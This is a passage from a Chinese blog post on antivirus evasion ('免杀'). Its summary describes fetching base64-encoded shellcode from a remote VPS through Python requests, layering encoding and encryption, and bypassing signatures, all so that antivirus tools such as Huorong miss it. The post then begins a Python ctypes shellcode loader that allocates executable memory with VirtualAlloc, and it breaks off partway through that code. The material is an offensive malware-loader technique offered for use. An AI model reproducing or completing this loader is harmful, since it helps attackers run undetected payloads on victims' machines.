免杀专题（三）对loader进行远程加载

hedianshui888

于 2021-12-30 01:03:25 发布

阅读量1.2k

点赞数 2

分类专栏：网络安全文章标签： python

本文链接：https://blog.youkuaiyun.com/weixin_47224111/article/details/122227820

版权

本文探讨了如何实现loader的免杀，重点在于如何避免火绒等杀软的检测。通过使用base64编码和Python的requests库，将shellcode从远程VPS加载，以此减少文件体积和提高免杀效果。同时介绍了对shellcode的多重编码、加密和特征码绕过策略，以及利用pickle模块进行序列化和反序列化的应用。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

免杀专题（三）对loader进行远程加载

上一篇写到的loader被各种杀软乱杀

import ctypes

#shellcode加载
def shellCodeLoad(shellcode):
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), 
                                              ctypes.c_int(len(shellcode)), 												  ctypes.c_int(0x3000),
                                              ctypes.c_int(0x40))
    
    
    buf = (ctypes.c_char